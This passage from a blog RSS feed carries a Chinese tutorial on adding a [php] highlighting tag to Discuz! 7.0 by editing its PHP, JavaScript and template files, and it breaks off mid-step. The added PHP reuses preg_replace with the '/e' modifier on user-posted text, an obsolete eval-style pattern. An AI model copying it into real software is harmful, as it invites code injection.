title="WordPress管理员密码忘记了怎么办？删除一个符号即可">WordPress管理员密码忘记了怎么办？删除一个符号即可</a> (8)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/php/discuz/discuz70luntanbeijingyinlechajianv20xiuzhengbanzhichiquanzhanbofang.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Discuz!7.0实现PHP代码高亮[原创]</title>
		<link>http://ihacklog.com/php/discuz/discuz70shixianphpdaimagaoliang.html</link>
		<comments>http://ihacklog.com/php/discuz/discuz70shixianphpdaimagaoliang.html#comments</comments>
		<pubDate>Sun, 19 Apr 2009 04:27:06 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[discuz]]></category>
		<category><![CDATA[Discuz!7.0]]></category>
		<category><![CDATA[PHP 代码高亮]]></category>
		<category><![CDATA[PHP代码高亮]]></category>

		<guid isPermaLink="false">http://blog.thinkstd.cn/?p=1719</guid>
		<description><![CDATA[原创文章（函数phphighlite()来自网络），转载请注明出处。 插件添加步骤如下： 修改include/discuzcode.func.php 查找 123456789101112131415function codedisp&#40;$code&#41; &#123; &#160; &#160; &#160; &#160; global $discuzcodes; &#160; &#160; &#160; &#160; $discuzcodes&#91;'pcodecount'&#93;++; &...]]></description>
			<content:encoded><![CDATA[<p>原创文章（函数phphighlite()来自网络），转载请注明出处。</p>
<p>插件添加步骤如下：<br />
修改include/discuzcode.func.php</p>
<p>查找</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">function</span> codedisp<span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$discuzcodes</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$discuzcodes</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'pcodecount'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">++;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$code</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/htmlspecialchars"><span style="color: #990000;">htmlspecialchars</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/str_replace"><span style="color: #990000;">str_replace</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'\\&quot;'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'&quot;'</span><span style="color: #339933;">,</span> <a href="http://www.php.net/preg_replace"><span style="color: #990000;">preg_replace</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/^[<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\r</span>]*(.+?)[<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\r</span>]*$/is&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\\</span>1&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$discuzcodes</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'codehtml'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$discuzcodes</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'pcodecount'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> tpl_codedisp<span style="color: #009900;">&#40;</span><span style="color: #000088;">$discuzcodes</span><span style="color: #339933;">,</span> <span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$discuzcodes</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'codecount'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">++;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">&quot;[<span style="color: #000099; font-weight: bold;">\t</span>DISCUZ_CODE_<span style="color: #006699; font-weight: bold;">$discuzcodes[pcodecount]</span><span style="color: #000099; font-weight: bold;">\t</span>]&quot;</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<p>在下面添加：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:500px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br />31<br />32<br />33<br />34<br />35<br />36<br />37<br />38<br />39<br />40<br />41<br />42<br />43<br />44<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">//////Discuz!7.0实现PHP代码高亮 &nbsp;by 荒野无灯 blog.thinkstd.cn//////<br />
<br />
function phphighlite($code) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; if(!strpos($code,&quot;<span style="color: #000000; font-weight: bold;">&lt;?</span>\n<span style="color: #0000ff;">&quot;) &amp;&amp; !strpos(<span style="color: #006699; font-weight: bold;">$code</span>,'&lt;? ') &amp;&amp; substr(<span style="color: #006699; font-weight: bold;">$code</span>,0,2) != '&lt;?') {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #006699; font-weight: bold;">$code</span> = '&lt;'.'?'.trim(<span style="color: #006699; font-weight: bold;">$code</span>).'?'.'&gt;';<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #006699; font-weight: bold;">$addedtags</span> = 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; ob_start();<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #006699; font-weight: bold;">$oldlevel</span> = error_reporting(0);<br />
&nbsp; &nbsp; &nbsp; &nbsp; highlight_string(<span style="color: #006699; font-weight: bold;">$code</span>);<br />
&nbsp; &nbsp; &nbsp; &nbsp; error_reporting(<span style="color: #006699; font-weight: bold;">$oldlevel</span>);<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #006699; font-weight: bold;">$buffer</span> = ob_get_contents();<br />
&nbsp; &nbsp; &nbsp; &nbsp; ob_end_clean();<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (<span style="color: #006699; font-weight: bold;">$addedtags</span>) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #006699; font-weight: bold;">$openingpos</span> = strpos(<span style="color: #006699; font-weight: bold;">$buffer</span>, '?');<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #006699; font-weight: bold;">$closingpos</span> = strrpos(<span style="color: #006699; font-weight: bold;">$buffer</span>, '?');<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #006699; font-weight: bold;">$buffer</span> = substr(<span style="color: #006699; font-weight: bold;">$buffer</span>, <span style="color: #006699; font-weight: bold;">$openingpos</span>+1, <span style="color: #006699; font-weight: bold;">$closingpos</span>-(<span style="color: #006699; font-weight: bold;">$openingpos</span>+1)).substr(<span style="color: #006699; font-weight: bold;">$buffer</span>, <span style="color: #006699; font-weight: bold;">$closingpos</span>+5);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #006699; font-weight: bold;">$buffer</span> = str_replace('&quot;</span><span style="color: #0000ff;">', &quot;\&quot;&quot;, $buffer);<br />
&nbsp; &nbsp; &nbsp; &nbsp; $buffer = str_replace('</span><br />
<span style="color: #0000ff;">', '</span><span style="color: #0000ff;">', $buffer);<br />
&nbsp; &nbsp; &nbsp; &nbsp; return $buffer;<br />
}<br />
<br />
<br />
function phpcodedisp($code) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; global $discuzcodes;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $discuzcodes['</span>pcodecount<span style="color: #0000ff;">']++;<br />
<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; $code = phphighlite(str_replace('</span>\\<span style="color: #0000ff;">&quot;', '&quot;</span><span style="color: #0000ff;">', preg_replace(&quot;/^[\n\r]*(.+?)[\n\r]*$/is&quot;, &quot;\\1&quot;, $code)));<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $discuzcodes['</span>codehtml<span style="color: #0000ff;">'][$discuzcodes['</span>pcodecount<span style="color: #0000ff;">']] =&quot;&lt;div class=\&quot;blockcode\&quot;&gt;&lt;h5&gt;PHP代码:&lt;/h5&gt;&lt;div id=\&quot;code$discuzcodes[codecount]\&quot;&gt;&lt;ol&gt;&lt;li&gt;$code&lt;/ol&gt;&lt;/div&gt;&lt;em onclick=\&quot;copycode($('</span>code<span style="color: #000088;">$discuzcodes</span><span style="color: #009900;">&#91;</span>codecount<span style="color: #009900;">&#93;</span><span style="color: #0000ff;">'));\&quot;&gt;复制内容到剪贴板&lt;/em&gt;&lt;/div&gt;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; //&nbsp; $discuzcodes['</span>codehtml<span style="color: #0000ff;">'][$discuzcodes['</span>pcodecount<span style="color: #0000ff;">']] = tpl_codedisp($discuzcodes, $code);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; $discuzcodes['</span>codecount<span style="color: #0000ff;">']++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; return &quot;[\tDISCUZ_CODE_$discuzcodes[pcodecount]\t]&quot;;<br />
}<br />
<br />
<br />
//////Discuz!7.0实现PHP代码高亮 &nbsp;by 荒野无灯 blog.thinkstd.cn//////</span></div></td></tr></tbody></table></div>
<p>查找：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">function</span> discuzcode<span style="color: #009900;">&#40;</span><span style="color: #000088;">$message</span><span style="color: #339933;">,</span> <span style="color: #000088;">$smileyoff</span><span style="color: #339933;">,</span> <span style="color: #000088;">$bbcodeoff</span><span style="color: #339933;">,</span> <span style="color: #000088;">$htmlon</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #000088;">$allowsmilies</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span> <span style="color: #000088;">$allowbbcode</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span> <span style="color: #000088;">$allowimgcode</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span> <span style="color: #000088;">$allowhtml</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #000088;">$jammer</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #000088;">$parsetype</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'0'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$authorid</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'0'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$allowmediacode</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'0'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$pid</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$discuzcodes</span><span style="color: #339933;">,</span> <span style="color: #000088;">$credits</span><span style="color: #339933;">,</span> <span style="color: #000088;">$tid</span><span style="color: #339933;">,</span> <span style="color: #000088;">$discuz_uid</span><span style="color: #339933;">,</span> <span style="color: #000088;">$highlight</span><span style="color: #339933;">,</span> <span style="color: #000088;">$maxsmilies</span><span style="color: #339933;">,</span> <span style="color: #000088;">$db</span><span style="color: #339933;">,</span> <span style="color: #000088;">$tablepre</span><span style="color: #339933;">,</span> <span style="color: #000088;">$hideattach</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$parsetype</span> <span style="color: #339933;">!=</span> <span style="color: #cc66cc;">1</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #339933;">!</span><span style="color: #000088;">$bbcodeoff</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000088;">$allowbbcode</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/strpos"><span style="color: #990000;">strpos</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$message</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'[/code]'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <a href="http://www.php.net/strpos"><span style="color: #990000;">strpos</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$message</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'[/CODE]'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!==</span> <span style="color: #009900; font-weight: bold;">FALSE</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$message</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/preg_replace"><span style="color: #990000;">preg_replace</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/\s*\[code\](.+?)\[\/code\]\s*/ies&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;codedisp('<span style="color: #000099; font-weight: bold;">\\</span>1')&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$message</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<p>在其下加上</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">//////Discuz!7.0实现PHP代码高亮 &nbsp;by 荒野无灯 blog.thinkstd.cn//////</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$parsetype</span> <span style="color: #339933;">!=</span> <span style="color: #cc66cc;">1</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #339933;">!</span><span style="color: #000088;">$bbcodeoff</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000088;">$allowbbcode</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/strpos"><span style="color: #990000;">strpos</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$message</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'[/php]'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <a href="http://www.php.net/strpos"><span style="color: #990000;">strpos</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$message</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'[/PHP]'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!==</span> <span style="color: #009900; font-weight: bold;">FALSE</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$message</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/preg_replace"><span style="color: #990000;">preg_replace</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/\s*\[php\](.+?)\[\/php\]\s*/ies&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;phpcodedisp('<span style="color: #000099; font-weight: bold;">\\</span>1')&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$message</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #666666; font-style: italic;">//////Discuz!7.0实现PHP代码高亮 &nbsp;by 荒野无灯 blog.thinkstd.cn//////</span></div></td></tr></tbody></table></div>
<p>2.修改include\js\post.js<br />
function wrapTags(tagname, useoption, selection) 修改</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">insertText<span style="color: #009900;">&#40;</span>text<span style="color: #339933;">,</span> strlen<span style="color: #009900;">&#40;</span>opentag<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> strlen<span style="color: #009900;">&#40;</span>closetag<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> in_array<span style="color: #009900;">&#40;</span>tagname<span style="color: #339933;">,</span> <span style="color: #009900;">&#91;</span><span style="color: #3366CC;">'code'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'quote'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'free'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'hide'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">?</span> <span style="color: #003366; font-weight: bold;">true</span> <span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>为</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">insertText<span style="color: #009900;">&#40;</span>text<span style="color: #339933;">,</span> strlen<span style="color: #009900;">&#40;</span>opentag<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> strlen<span style="color: #009900;">&#40;</span>closetag<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> in_array<span style="color: #009900;">&#40;</span>tagname<span style="color: #339933;">,</span> <span style="color: #009900;">&#91;</span><span style="color: #3366CC;">'code'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'quote'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'free'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'hide'</span><span style="color: #339933;">,</span><span style="color: #3366CC;">'php'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">?</span> <span style="color: #003366; font-weight: bold;">true</span> <span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>查找</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; lang<span style="color: #009900;">&#91;</span><span style="color: #3366CC;">'e_code'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">'请输入要插入的代码'</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>在其下加上：</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">lang<span style="color: #009900;">&#91;</span><span style="color: #3366CC;">'e_php'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">'请输入要插入的php代码'</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>查找</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br /></div></td><td><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>wysiwyg<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>cmd <span style="color: #339933;">==</span> <span style="color: #3366CC;">'code'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; text <span style="color: #339933;">=</span> preg_replace<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#91;</span><span style="color: #3366CC;">'&lt;'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'&gt;'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #009900;">&#91;</span><span style="color: #3366CC;">'&amp;lt;'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'&amp;gt;'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> text<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<p>修改为：</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br /></div></td><td><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>wysiwyg<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>cmd <span style="color: #339933;">==</span> <span style="color: #3366CC;">'code'</span> <span style="color: #339933;">||</span> cmd <span style="color: #339933;">==</span> <span style="color: #3366CC;">'php'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; text <span style="color: #339933;">=</span> preg_replace<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#91;</span><span style="color: #3366CC;">'&lt;'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'&gt;'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #009900;">&#91;</span><span style="color: #3366CC;">'&amp;lt;'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'&amp;gt;'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> text<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<p>3.修改模板文件<br />
在 \templates\default\seditor.htm<br />
中查找：</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br /></div></td><td><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;!--</span><span style="color: #009900;">&#123;</span><span style="color: #000066; font-weight: bold;">if</span> in_array<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'code'</span><span style="color: #339933;">,</span> $seditor<span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">--&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #339933;">&lt;</span>a href<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;javascript:;&quot;</span> title<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;{lang e_code}&quot;</span> <span style="color: #003366; font-weight: bold;">class</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;tb_code&quot;</span> onclick<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;seditor_insertunit('$seditor[0]', '[code]', '[/code]')&quot;</span><span style="color: #339933;">&gt;</span>Code<span style="color: #339933;">&lt;/</span>a<span style="color: #339933;">&gt;</span><br />
&nbsp; &nbsp; <span style="color: #339933;">&lt;!--</span><span style="color: #009900;">&#123;</span><span style="color: #339933;">/</span><span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">--&gt;</span></div></td></tr></tbody></table></div>
<p>在其下添加：</p>
